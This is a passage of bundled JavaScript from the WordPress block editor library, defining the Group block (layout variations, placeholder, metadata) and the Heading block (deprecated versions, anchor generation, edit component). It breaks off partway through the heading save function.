        import_components46.SVG,
        {
          xmlns: &quot;http://www.w3.org/2000/svg&quot;,
          width: &quot;48&quot;,
          height: &quot;48&quot;,
          viewBox: &quot;0 0 48 48&quot;,
          children: /* @__PURE__ */ (0, import_jsx_runtime260.jsx)(import_components46.Path, { d: &quot;M0 10a2 2 0 0 1 2-2h19a2 2 0 0 1 2 2v28a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2V10Zm25 0a2 2 0 0 1 2-2h19a2 2 0 0 1 2 2v28a2 2 0 0 1-2 2H27a2 2 0 0 1-2-2V10Z&quot; })
        }
      ),
      &quot;group-stack&quot;: /* @__PURE__ */ (0, import_jsx_runtime260.jsx)(
        import_components46.SVG,
        {
          xmlns: &quot;http://www.w3.org/2000/svg&quot;,
          width: &quot;48&quot;,
          height: &quot;48&quot;,
          viewBox: &quot;0 0 48 48&quot;,
          children: /* @__PURE__ */ (0, import_jsx_runtime260.jsx)(import_components46.Path, { d: &quot;M0 10a2 2 0 0 1 2-2h44a2 2 0 0 1 2 2v11a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2V10Zm0 17a2 2 0 0 1 2-2h44a2 2 0 0 1 2 2v11a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2V27Z&quot; })
        }
      ),
      &quot;group-grid&quot;: /* @__PURE__ */ (0, import_jsx_runtime260.jsx)(
        import_components46.SVG,
        {
          xmlns: &quot;http://www.w3.org/2000/svg&quot;,
          width: &quot;48&quot;,
          height: &quot;48&quot;,
          viewBox: &quot;0 0 48 48&quot;,
          children: /* @__PURE__ */ (0, import_jsx_runtime260.jsx)(import_components46.Path, { d: &quot;M0 10a2 2 0 0 1 2-2h19a2 2 0 0 1 2 2v11a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2V10Zm25 0a2 2 0 0 1 2-2h19a2 2 0 0 1 2 2v11a2 2 0 0 1-2 2H27a2 2 0 0 1-2-2V10ZM0 27a2 2 0 0 1 2-2h19a2 2 0 0 1 2 2v11a2 2 0 0 1-2 2H2a2 2 0 0 1-2-2V27Zm25 0a2 2 0 0 1 2-2h19a2 2 0 0 1 2 2v11a2 2 0 0 1-2 2H27a2 2 0 0 1-2-2V27Z&quot; })
        }
      )
    };
    return icons?.[name123];
  };
  function useShouldShowPlaceHolder({
    attributes: attributes2 = {
      style: void 0,
      backgroundColor: void 0,
      textColor: void 0,
      fontSize: void 0
    },
    usedLayoutType = &quot;&quot;,
    hasInnerBlocks = false
  }) {
    const { style: style2, backgroundColor, textColor, fontSize } = attributes2;
    const [showPlaceholder, setShowPlaceholder] = (0, import_element34.useState)(
      !hasInnerBlocks &amp;&amp; !backgroundColor &amp;&amp; !fontSize &amp;&amp; !textColor &amp;&amp; !style2 &amp;&amp; usedLayoutType !== &quot;flex&quot; &amp;&amp; usedLayoutType !== &quot;grid&quot;
    );
    (0, import_element34.useEffect)(() =&gt; {
      if (!!hasInnerBlocks || !!backgroundColor || !!fontSize || !!textColor || !!style2 || usedLayoutType === &quot;flex&quot;) {
        setShowPlaceholder(false);
      }
    }, [
      backgroundColor,
      fontSize,
      textColor,
      style2,
      usedLayoutType,
      hasInnerBlocks
    ]);
    return [showPlaceholder, setShowPlaceholder];
  }
  function GroupPlaceHolder({ name: name123, onSelect }) {
    const variations18 = (0, import_data39.useSelect)(
      (select9) =&gt; select9(import_blocks32.store).getBlockVariations(name123, &quot;block&quot;),
      [name123]
    );
    const blockProps = (0, import_block_editor98.useBlockProps)({
      className: &quot;wp-block-group__placeholder&quot;
    });
    (0, import_element34.useEffect)(() =&gt; {
      if (variations18 &amp;&amp; variations18.length === 1) {
        onSelect(variations18[0]);
      }
    }, [onSelect, variations18]);
    return /* @__PURE__ */ (0, import_jsx_runtime260.jsx)(&quot;div&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime260.jsx)(
      import_components46.Placeholder,
      {
        instructions: (0, import_i18n76.__)(&quot;Group blocks together. Select a layout:&quot;),
        children: /* @__PURE__ */ (0, import_jsx_runtime260.jsx)(
          &quot;ul&quot;,
          {
            role: &quot;list&quot;,
            className: &quot;wp-block-group-placeholder__variations&quot;,
            &quot;aria-label&quot;: (0, import_i18n76.__)(&quot;Block variations&quot;),
            children: variations18.map((variation) =&gt; /* @__PURE__ */ (0, import_jsx_runtime260.jsx)(&quot;li&quot;, { children: /* @__PURE__ */ (0, import_jsx_runtime260.jsx)(
              import_components46.Button,
              {
                __next40pxDefaultSize: true,
                variant: &quot;tertiary&quot;,
                icon: getGroupPlaceholderIcons(
                  variation.name
                ),
                iconSize: 48,
                onClick: () =&gt; onSelect(variation),
                className: &quot;wp-block-group-placeholder__variation-button&quot;,
                label: `${variation.title}: ${variation.description}`
              }
            ) }, variation.name))
          }
        )
      }
    ) });
  }
  var placeholder_default = GroupPlaceHolder;

  // packages/block-library/build-module/group/edit.mjs
  var import_jsx_runtime261 = __toESM(require_jsx_runtime(), 1);
  var { HTMLElementControl: HTMLElementControl4 } = unlock(import_block_editor99.privateApis);
  function GroupEditControls({ tagName, onSelectTagName, clientId }) {
    return /* @__PURE__ */ (0, import_jsx_runtime261.jsx)(import_block_editor99.InspectorControls, { group: &quot;advanced&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime261.jsx)(
      HTMLElementControl4,
      {
        tagName,
        onChange: onSelectTagName,
        clientId,
        options: [
          { label: (0, import_i18n77.__)(&quot;Default (&lt;div&gt;)&quot;), value: &quot;div&quot; },
          { label: &quot;&lt;header&gt;&quot;, value: &quot;header&quot; },
          { label: &quot;&lt;main&gt;&quot;, value: &quot;main&quot; },
          { label: &quot;&lt;section&gt;&quot;, value: &quot;section&quot; },
          { label: &quot;&lt;article&gt;&quot;, value: &quot;article&quot; },
          { label: &quot;&lt;aside&gt;&quot;, value: &quot;aside&quot; },
          { label: &quot;&lt;footer&gt;&quot;, value: &quot;footer&quot; }
        ]
      }
    ) });
  }
  function GroupEdit({ attributes: attributes2, name: name123, setAttributes, clientId }) {
    const { hasInnerBlocks, themeSupportsLayout } = (0, import_data40.useSelect)(
      (select9) =&gt; {
        const { getBlock, getSettings: getSettings2 } = select9(import_block_editor99.store);
        const block = getBlock(clientId);
        return {
          hasInnerBlocks: !!(block &amp;&amp; block.innerBlocks.length),
          themeSupportsLayout: getSettings2()?.supportsLayout
        };
      },
      [clientId]
    );
    const {
      tagName: TagName2 = &quot;div&quot;,
      templateLock,
      allowedBlocks,
      layout = {}
    } = attributes2;
    const { type = &quot;default&quot; } = layout;
    const layoutSupportEnabled = themeSupportsLayout || type === &quot;flex&quot; || type === &quot;grid&quot;;
    const ref = (0, import_element35.useRef)();
    const blockProps = (0, import_block_editor99.useBlockProps)({ ref });
    const [showPlaceholder, setShowPlaceholder] = useShouldShowPlaceHolder({
      attributes: attributes2,
      usedLayoutType: type,
      hasInnerBlocks
    });
    let renderAppender;
    if (showPlaceholder) {
      renderAppender = false;
    } else if (!hasInnerBlocks) {
      renderAppender = import_block_editor99.InnerBlocks.ButtonBlockAppender;
    }
    const innerBlocksProps = (0, import_block_editor99.useInnerBlocksProps)(
      layoutSupportEnabled ? blockProps : { className: &quot;wp-block-group__inner-container&quot; },
      {
        dropZoneElement: ref.current,
        templateLock,
        allowedBlocks,
        renderAppender
      }
    );
    const { selectBlock } = (0, import_data40.useDispatch)(import_block_editor99.store);
    const selectVariation = (nextVariation) =&gt; {
      setAttributes(nextVariation.attributes);
      selectBlock(clientId, -1);
      setShowPlaceholder(false);
    };
    return /* @__PURE__ */ (0, import_jsx_runtime261.jsxs)(import_jsx_runtime261.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime261.jsx)(
        GroupEditControls,
        {
          tagName: TagName2,
          onSelectTagName: (value) =&gt; setAttributes({ tagName: value }),
          clientId
        }
      ),
      showPlaceholder &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime261.jsxs)(import_primitives161.View, { children: [
        innerBlocksProps.children,
        /* @__PURE__ */ (0, import_jsx_runtime261.jsx)(
          placeholder_default,
          {
            name: name123,
            onSelect: selectVariation
          }
        )
      ] }),
      layoutSupportEnabled &amp;&amp; !showPlaceholder &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime261.jsx)(TagName2, { ...innerBlocksProps }),
      !layoutSupportEnabled &amp;&amp; !showPlaceholder &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime261.jsx)(TagName2, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime261.jsx)(&quot;div&quot;, { ...innerBlocksProps }) })
    ] });
  }
  var edit_default15 = GroupEdit;

  // packages/block-library/build-module/group/block.json
  var block_default39 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/group&quot;,
    title: &quot;Group&quot;,
    category: &quot;design&quot;,
    description: &quot;Gather blocks in a layout container.&quot;,
    keywords: [&quot;container&quot;, &quot;wrapper&quot;, &quot;row&quot;, &quot;section&quot;],
    textdomain: &quot;default&quot;,
    attributes: {
      tagName: {
        type: &quot;string&quot;,
        default: &quot;div&quot;
      },
      templateLock: {
        type: [&quot;string&quot;, &quot;boolean&quot;],
        enum: [&quot;all&quot;, &quot;insert&quot;, &quot;contentOnly&quot;, false]
      }
    },
    supports: {
      __experimentalOnEnter: true,
      __experimentalOnMerge: true,
      __experimentalSettings: true,
      align: [&quot;wide&quot;, &quot;full&quot;],
      anchor: true,
      ariaLabel: true,
      html: false,
      background: {
        backgroundImage: true,
        backgroundSize: true,
        __experimentalDefaultControls: {
          backgroundImage: true
        }
      },
      color: {
        gradients: true,
        heading: true,
        button: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      shadow: true,
      spacing: {
        margin: [&quot;top&quot;, &quot;bottom&quot;],
        padding: true,
        blockGap: true,
        __experimentalDefaultControls: {
          padding: true,
          blockGap: true
        }
      },
      dimensions: {
        minHeight: true
      },
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true,
        __experimentalDefaultControls: {
          color: true,
          radius: true,
          style: true,
          width: true
        }
      },
      position: {
        sticky: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      layout: {
        allowSizingOnChildren: true
      },
      interactivity: {
        clientNavigation: true
      },
      allowedBlocks: true
    },
    editorStyle: &quot;wp-block-group-editor&quot;,
    style: &quot;wp-block-group&quot;
  };

  // packages/block-library/build-module/group/save.mjs
  var import_block_editor100 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime262 = __toESM(require_jsx_runtime(), 1);
  function save22({ attributes: { tagName: Tag } }) {
    return /* @__PURE__ */ (0, import_jsx_runtime262.jsx)(Tag, { ...import_block_editor100.useInnerBlocksProps.save(import_block_editor100.useBlockProps.save()) });
  }

  // packages/block-library/build-module/group/transforms.mjs
  var import_blocks33 = __toESM(require_blocks(), 1);
  var transforms10 = {
    from: [
      {
        type: &quot;block&quot;,
        isMultiBlock: true,
        blocks: [&quot;*&quot;],
        __experimentalConvert(blocks) {
          const alignments = [&quot;wide&quot;, &quot;full&quot;];
          const widestAlignment = blocks.reduce(
            (accumulator, block) =&gt; {
              const { align } = block.attributes;
              return alignments.indexOf(align) &gt; alignments.indexOf(accumulator) ? align : accumulator;
            },
            void 0
          );
          const groupInnerBlocks = blocks.map((block) =&gt; {
            return (0, import_blocks33.createBlock)(
              block.name,
              block.attributes,
              block.innerBlocks
            );
          });
          return (0, import_blocks33.createBlock)(
            &quot;core/group&quot;,
            {
              align: widestAlignment,
              layout: { type: &quot;constrained&quot; }
            },
            groupInnerBlocks
          );
        }
      }
    ]
  };
  var transforms_default11 = transforms10;

  // packages/block-library/build-module/group/variations.mjs
  var import_i18n78 = __toESM(require_i18n(), 1);
  var example = {
    innerBlocks: [
      {
        name: &quot;core/paragraph&quot;,
        attributes: {
          content: (0, import_i18n78.__)(&quot;One.&quot;)
        }
      },
      {
        name: &quot;core/paragraph&quot;,
        attributes: {
          content: (0, import_i18n78.__)(&quot;Two.&quot;)
        }
      },
      {
        name: &quot;core/paragraph&quot;,
        attributes: {
          content: (0, import_i18n78.__)(&quot;Three.&quot;)
        }
      },
      {
        name: &quot;core/paragraph&quot;,
        attributes: {
          content: (0, import_i18n78.__)(&quot;Four.&quot;)
        }
      },
      {
        name: &quot;core/paragraph&quot;,
        attributes: {
          content: (0, import_i18n78.__)(&quot;Five.&quot;)
        }
      },
      {
        name: &quot;core/paragraph&quot;,
        attributes: {
          content: (0, import_i18n78.__)(&quot;Six.&quot;)
        }
      }
    ]
  };
  var variations8 = [
    {
      name: &quot;group&quot;,
      title: (0, import_i18n78.__)(&quot;Group&quot;),
      description: (0, import_i18n78.__)(&quot;Gather blocks in a container.&quot;),
      attributes: { layout: { type: &quot;constrained&quot; } },
      isDefault: true,
      scope: [&quot;block&quot;, &quot;inserter&quot;, &quot;transform&quot;],
      icon: group_default
    },
    {
      name: &quot;group-row&quot;,
      title: (0, import_i18n78._x)(&quot;Row&quot;, &quot;single horizontal line&quot;),
      description: (0, import_i18n78.__)(&quot;Arrange blocks horizontally.&quot;),
      attributes: { layout: { type: &quot;flex&quot;, flexWrap: &quot;nowrap&quot; } },
      scope: [&quot;block&quot;, &quot;inserter&quot;, &quot;transform&quot;],
      isActive: [&quot;layout.type&quot;],
      icon: row_default,
      example
    },
    {
      name: &quot;group-stack&quot;,
      title: (0, import_i18n78.__)(&quot;Stack&quot;),
      description: (0, import_i18n78.__)(&quot;Arrange blocks vertically.&quot;),
      attributes: { layout: { type: &quot;flex&quot;, orientation: &quot;vertical&quot; } },
      scope: [&quot;block&quot;, &quot;inserter&quot;, &quot;transform&quot;],
      isActive: [&quot;layout.type&quot;, &quot;layout.orientation&quot;],
      icon: stack_default,
      example
    },
    {
      name: &quot;group-grid&quot;,
      title: (0, import_i18n78.__)(&quot;Grid&quot;),
      description: (0, import_i18n78.__)(&quot;Arrange blocks in a grid.&quot;),
      attributes: { layout: { type: &quot;grid&quot; } },
      scope: [&quot;block&quot;, &quot;inserter&quot;, &quot;transform&quot;],
      isActive: [&quot;layout.type&quot;],
      icon: grid_default,
      example
    }
  ];
  var variations_default8 = variations8;

  // packages/block-library/build-module/group/index.mjs
  var { name: name39 } = block_default39;
  var settings39 = {
    icon: group_default,
    example: {
      attributes: {
        layout: {
          type: &quot;constrained&quot;,
          justifyContent: &quot;center&quot;
        },
        style: {
          spacing: {
            padding: {
              top: &quot;4em&quot;,
              right: &quot;3em&quot;,
              bottom: &quot;4em&quot;,
              left: &quot;3em&quot;
            }
          }
        }
      },
      innerBlocks: [
        {
          name: &quot;core/heading&quot;,
          attributes: {
            content: (0, import_i18n79.__)(&quot;La Mancha&quot;),
            style: {
              typography: {
                textAlign: &quot;center&quot;
              }
            }
          }
        },
        {
          name: &quot;core/paragraph&quot;,
          attributes: {
            style: {
              typography: {
                textAlign: &quot;center&quot;
              }
            },
            content: (0, import_i18n79.__)(
              &quot;In a village of La Mancha, the name of which I have no desire to call to mind, there lived not long since one of those gentlemen that keep a lance in the lance-rack, an old buckler, a lean hack, and a greyhound for coursing.&quot;
            )
          }
        },
        {
          name: &quot;core/spacer&quot;,
          attributes: {
            height: &quot;10px&quot;
          }
        },
        {
          name: &quot;core/button&quot;,
          attributes: {
            text: (0, import_i18n79.__)(&quot;Read more&quot;)
          }
        }
      ],
      viewportWidth: 600
    },
    transforms: transforms_default11,
    edit: edit_default15,
    save: save22,
    deprecated: deprecated_default20,
    variations: variations_default8
  };
  var init39 = () =&gt; initBlock({ name: name39, metadata: block_default39, settings: settings39 });

  // packages/block-library/build-module/heading/index.mjs
  var heading_exports = {};
  __export(heading_exports, {
    init: () =&gt; init40,
    metadata: () =&gt; block_default40,
    name: () =&gt; name40,
    settings: () =&gt; settings40
  });
  var import_i18n82 = __toESM(require_i18n(), 1);
  var import_blocks35 = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/heading/deprecated.mjs
  var import_block_editor101 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime263 = __toESM(require_jsx_runtime(), 1);
  var blockSupports = {
    className: false,
    anchor: true
  };
  var blockAttributes4 = {
    align: {
      type: &quot;string&quot;
    },
    content: {
      type: &quot;string&quot;,
      source: &quot;html&quot;,
      selector: &quot;h1,h2,h3,h4,h5,h6&quot;,
      default: &quot;&quot;
    },
    level: {
      type: &quot;number&quot;,
      default: 2
    },
    placeholder: {
      type: &quot;string&quot;
    }
  };
  var migrateCustomColors2 = (attributes2) =&gt; {
    if (!attributes2.customTextColor) {
      return attributes2;
    }
    const style2 = {
      color: {
        text: attributes2.customTextColor
      }
    };
    const { customTextColor, ...restAttributes } = attributes2;
    return {
      ...restAttributes,
      style: style2
    };
  };
  var TEXT_ALIGN_OPTIONS = [&quot;left&quot;, &quot;right&quot;, &quot;center&quot;];
  var migrateTextAlign = (attributes2) =&gt; {
    const { align, ...rest } = attributes2;
    return TEXT_ALIGN_OPTIONS.includes(align) ? { ...rest, textAlign: align } : attributes2;
  };
  var v118 = {
    supports: blockSupports,
    attributes: {
      ...blockAttributes4,
      customTextColor: {
        type: &quot;string&quot;
      },
      textColor: {
        type: &quot;string&quot;
      }
    },
    migrate: (attributes2) =&gt; migrate_text_align_default(
      migrateCustomColors2(migrateTextAlign(attributes2))
    ),
    save({ attributes: attributes2 }) {
      const { align, level, content, textColor, customTextColor } = attributes2;
      const tagName = &quot;h&quot; + level;
      const textClass = (0, import_block_editor101.getColorClassName)(&quot;color&quot;, textColor);
      const className = clsx_default({
        [textClass]: textClass
      });
      return /* @__PURE__ */ (0, import_jsx_runtime263.jsx)(
        import_block_editor101.RichText.Content,
        {
          className: className ? className : void 0,
          tagName,
          style: {
            textAlign: align,
            color: textClass ? void 0 : customTextColor
          },
          value: content
        }
      );
    }
  };
  var v29 = {
    attributes: {
      ...blockAttributes4,
      customTextColor: {
        type: &quot;string&quot;
      },
      textColor: {
        type: &quot;string&quot;
      }
    },
    migrate: (attributes2) =&gt; migrate_text_align_default(
      migrateCustomColors2(migrateTextAlign(attributes2))
    ),
    save({ attributes: attributes2 }) {
      const { align, content, customTextColor, level, textColor } = attributes2;
      const tagName = &quot;h&quot; + level;
      const textClass = (0, import_block_editor101.getColorClassName)(&quot;color&quot;, textColor);
      const className = clsx_default({
        [textClass]: textClass,
        [`has-text-align-${align}`]: align
      });
      return /* @__PURE__ */ (0, import_jsx_runtime263.jsx)(
        import_block_editor101.RichText.Content,
        {
          className: className ? className : void 0,
          tagName,
          style: {
            color: textClass ? void 0 : customTextColor
          },
          value: content
        }
      );
    },
    supports: blockSupports
  };
  var v34 = {
    supports: blockSupports,
    attributes: {
      ...blockAttributes4,
      customTextColor: {
        type: &quot;string&quot;
      },
      textColor: {
        type: &quot;string&quot;
      }
    },
    migrate: (attributes2) =&gt; migrate_text_align_default(
      migrateCustomColors2(migrateTextAlign(attributes2))
    ),
    save({ attributes: attributes2 }) {
      const { align, content, customTextColor, level, textColor } = attributes2;
      const tagName = &quot;h&quot; + level;
      const textClass = (0, import_block_editor101.getColorClassName)(&quot;color&quot;, textColor);
      const className = clsx_default({
        [textClass]: textClass,
        &quot;has-text-color&quot;: textColor || customTextColor,
        [`has-text-align-${align}`]: align
      });
      return /* @__PURE__ */ (0, import_jsx_runtime263.jsx)(
        import_block_editor101.RichText.Content,
        {
          className: className ? className : void 0,
          tagName,
          style: {
            color: textClass ? void 0 : customTextColor
          },
          value: content
        }
      );
    }
  };
  var v43 = {
    supports: {
      align: [&quot;wide&quot;, &quot;full&quot;],
      anchor: true,
      className: false,
      color: { link: true },
      fontSize: true,
      lineHeight: true,
      __experimentalSelector: {
        &quot;core/heading/h1&quot;: &quot;h1&quot;,
        &quot;core/heading/h2&quot;: &quot;h2&quot;,
        &quot;core/heading/h3&quot;: &quot;h3&quot;,
        &quot;core/heading/h4&quot;: &quot;h4&quot;,
        &quot;core/heading/h5&quot;: &quot;h5&quot;,
        &quot;core/heading/h6&quot;: &quot;h6&quot;
      },
      __unstablePasteTextInline: true
    },
    attributes: blockAttributes4,
    isEligible: ({ align }) =&gt; TEXT_ALIGN_OPTIONS.includes(align),
    migrate: (attributes2) =&gt; migrate_text_align_default(
      migrateCustomColors2(migrateTextAlign(attributes2))
    ),
    save({ attributes: attributes2 }) {
      const { align, content, level } = attributes2;
      const TagName2 = &quot;h&quot; + level;
      const className = clsx_default({
        [`has-text-align-${align}`]: align
      });
      return /* @__PURE__ */ (0, import_jsx_runtime263.jsx)(TagName2, { ...import_block_editor101.useBlockProps.save({ className }), children: /* @__PURE__ */ (0, import_jsx_runtime263.jsx)(import_block_editor101.RichText.Content, { value: content }) });
    }
  };
  var v53 = {
    supports: {
      align: [&quot;wide&quot;, &quot;full&quot;],
      anchor: true,
      className: false,
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontStyle: true,
        __experimentalFontWeight: true,
        __experimentalLetterSpacing: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalDefaultControls: {
          fontSize: true,
          fontAppearance: true,
          textTransform: true
        }
      },
      __experimentalSelector: &quot;h1,h2,h3,h4,h5,h6&quot;,
      __unstablePasteTextInline: true,
      __experimentalSlashInserter: true
    },
    attributes: {
      textAlign: {
        type: &quot;string&quot;
      },
      content: {
        type: &quot;string&quot;,
        source: &quot;html&quot;,
        selector: &quot;h1,h2,h3,h4,h5,h6&quot;,
        default: &quot;&quot;,
        role: &quot;content&quot;
      },
      level: {
        type: &quot;number&quot;,
        default: 2
      },
      placeholder: {
        type: &quot;string&quot;
      }
    },
    save({ attributes: attributes2 }) {
      const { textAlign, content, level } = attributes2;
      const TagName2 = &quot;h&quot; + level;
      const className = clsx_default({
        [`has-text-align-${textAlign}`]: textAlign
      });
      return /* @__PURE__ */ (0, import_jsx_runtime263.jsx)(TagName2, { ...import_block_editor101.useBlockProps.save({ className }), children: /* @__PURE__ */ (0, import_jsx_runtime263.jsx)(import_block_editor101.RichText.Content, { value: content }) });
    },
    migrate: (attributes2) =&gt; migrate_text_align_default(
      migrateCustomColors2(migrateTextAlign(attributes2))
    )
  };
  var v63 = {
    supports: {
      align: [&quot;wide&quot;, &quot;full&quot;],
      anchor: true,
      className: true,
      splitting: true,
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true
      },
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontStyle: true,
        __experimentalFontWeight: true,
        __experimentalLetterSpacing: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalWritingMode: true,
        fitText: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      __unstablePasteTextInline: true,
      __experimentalSlashInserter: true,
      interactivity: {
        clientNavigation: true
      }
    },
    attributes: {
      textAlign: {
        type: &quot;string&quot;
      },
      content: {
        type: &quot;string&quot;,
        source: &quot;html&quot;,
        selector: &quot;h1,h2,h3,h4,h5,h6&quot;,
        default: &quot;&quot;,
        role: &quot;content&quot;
      },
      level: {
        type: &quot;number&quot;,
        default: 2
      },
      levelOptions: {
        type: &quot;array&quot;
      },
      placeholder: {
        type: &quot;string&quot;
      }
    },
    save({ attributes: attributes2 }) {
      const { textAlign, content, level } = attributes2;
      const TagName2 = &quot;h&quot; + level;
      const className = clsx_default({
        [`has-text-align-${textAlign}`]: textAlign
      });
      return /* @__PURE__ */ (0, import_jsx_runtime263.jsx)(TagName2, { ...import_block_editor101.useBlockProps.save({ className }), children: /* @__PURE__ */ (0, import_jsx_runtime263.jsx)(import_block_editor101.RichText.Content, { value: content }) });
    },
    migrate: (attributes2) =&gt; migrate_text_align_default(
      migrateCustomColors2(migrateTextAlign(attributes2))
    ),
    isEligible(attributes2) {
      return !!attributes2.textAlign || !!attributes2.className?.match(
        /\bhas-text-align-(left|center|right)\b/
      );
    }
  };
  var deprecated9 = [v63, v53, v43, v34, v29, v118];
  var deprecated_default21 = deprecated9;

  // packages/block-library/build-module/heading/edit.mjs
  var import_i18n80 = __toESM(require_i18n(), 1);
  var import_element36 = __toESM(require_element(), 1);
  var import_data41 = __toESM(require_data(), 1);
  var import_block_editor102 = __toESM(require_block_editor(), 1);

  // packages/block-library/build-module/heading/autogenerate-anchors.mjs
  var import_remove_accents3 = __toESM(require_remove_accents(), 1);
  var anchors = {};
  var getTextWithoutMarkup = (text) =&gt; {
    const dummyElement = document.createElement(&quot;div&quot;);
    dummyElement.innerHTML = text;
    return dummyElement.innerText;
  };
  var getSlug = (content) =&gt; {
    return (0, import_remove_accents3.default)(getTextWithoutMarkup(content)).replace(/[^\p{L}\p{N}]+/gu, &quot;-&quot;).toLowerCase().replace(/(^-+)|(-+$)/g, &quot;&quot;);
  };
  var generateAnchor = (clientId, content) =&gt; {
    const slug = getSlug(content);
    if (&quot;&quot; === slug) {
      return null;
    }
    delete anchors[clientId];
    let anchor = slug;
    let i2 = 0;
    while (Object.values(anchors).includes(anchor)) {
      i2 += 1;
      anchor = slug + &quot;-&quot; + i2;
    }
    return anchor;
  };
  var setAnchor = (clientId, anchor) =&gt; {
    anchors[clientId] = anchor;
  };

  // packages/block-library/build-module/heading/edit.mjs
  var import_jsx_runtime264 = __toESM(require_jsx_runtime(), 1);
  function HeadingEdit(props) {
    const {
      attributes: attributes2,
      setAttributes,
      mergeBlocks,
      onReplace,
      style: style2,
      clientId
    } = props;
    useDeprecatedTextAlign(props);
    const { content, level, placeholder: placeholder2, anchor } = attributes2;
    const tagName = &quot;h&quot; + level;
    const blockProps = (0, import_block_editor102.useBlockProps)({
      style: style2
    });
    const { canGenerateAnchors } = (0, import_data41.useSelect)((select9) =&gt; {
      const { getGlobalBlockCount, getSettings: getSettings2 } = select9(import_block_editor102.store);
      const settings122 = getSettings2();
      return {
        canGenerateAnchors: !!settings122.generateAnchors || getGlobalBlockCount(&quot;core/table-of-contents&quot;) &gt; 0
      };
    }, []);
    const { __unstableMarkNextChangeAsNotPersistent } = (0, import_data41.useDispatch)(import_block_editor102.store);
    (0, import_element36.useEffect)(() =&gt; {
      if (!canGenerateAnchors) {
        return;
      }
      if (!anchor &amp;&amp; content) {
        __unstableMarkNextChangeAsNotPersistent();
        setAttributes({
          anchor: generateAnchor(clientId, content)
        });
      }
      setAnchor(clientId, anchor);
      return () =&gt; setAnchor(clientId, null);
    }, [anchor, content, clientId, canGenerateAnchors]);
    const onContentChange = (value) =&gt; {
      const newAttrs = { content: value };
      if (canGenerateAnchors &amp;&amp; (!anchor || !value || generateAnchor(clientId, content) === anchor)) {
        newAttrs.anchor = generateAnchor(clientId, value);
      }
      setAttributes(newAttrs);
    };
    return /* @__PURE__ */ (0, import_jsx_runtime264.jsx)(import_jsx_runtime264.Fragment, { children: /* @__PURE__ */ (0, import_jsx_runtime264.jsx)(
      import_block_editor102.RichText,
      {
        identifier: &quot;content&quot;,
        tagName,
        value: content,
        onChange: onContentChange,
        onMerge: mergeBlocks,
        onReplace,
        onRemove: () =&gt; onReplace([]),
        placeholder: placeholder2 || (0, import_i18n80.__)(&quot;Heading&quot;),
        ...import_element36.Platform.isNative &amp;&amp; { deleteEnter: true },
        ...blockProps
      }
    ) });
  }
  var edit_default16 = HeadingEdit;

  // packages/block-library/build-module/heading/block.json
  var block_default40 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/heading&quot;,
    title: &quot;Heading&quot;,
    category: &quot;text&quot;,
    description: &quot;Introduce new sections and organize content to help visitors (and search engines) understand the structure of your content.&quot;,
    keywords: [&quot;title&quot;, &quot;subtitle&quot;],
    textdomain: &quot;default&quot;,
    attributes: {
      content: {
        type: &quot;rich-text&quot;,
        source: &quot;rich-text&quot;,
        selector: &quot;h1,h2,h3,h4,h5,h6&quot;,
        role: &quot;content&quot;
      },
      level: {
        type: &quot;number&quot;,
        default: 2
      },
      levelOptions: {
        type: &quot;array&quot;
      },
      placeholder: {
        type: &quot;string&quot;
      }
    },
    supports: {
      align: [&quot;wide&quot;, &quot;full&quot;],
      anchor: true,
      className: true,
      splitting: true,
      __experimentalBorder: {
        color: true,
        radius: true,
        style: true,
        width: true
      },
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      spacing: {
        margin: true,
        padding: true,
        __experimentalDefaultControls: {
          margin: false,
          padding: false
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        textAlign: true,
        __experimentalFontFamily: true,
        __experimentalFontStyle: true,
        __experimentalFontWeight: true,
        __experimentalLetterSpacing: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalWritingMode: true,
        fitText: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      __unstablePasteTextInline: true,
      __experimentalSlashInserter: true,
      interactivity: {
        clientNavigation: true
      }
    },
    editorStyle: &quot;wp-block-heading-editor&quot;,
    style: &quot;wp-block-heading&quot;
  };

  // packages/block-library/build-module/heading/save.mjs
  var import_block_editor103 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime265 = __toESM(require_jsx_runtime(), 1);
  function save23({ attributes: attributes2 }) {
    const { content, level } = attributes2;
    const TagName2 = &quot;h&quot; + level;
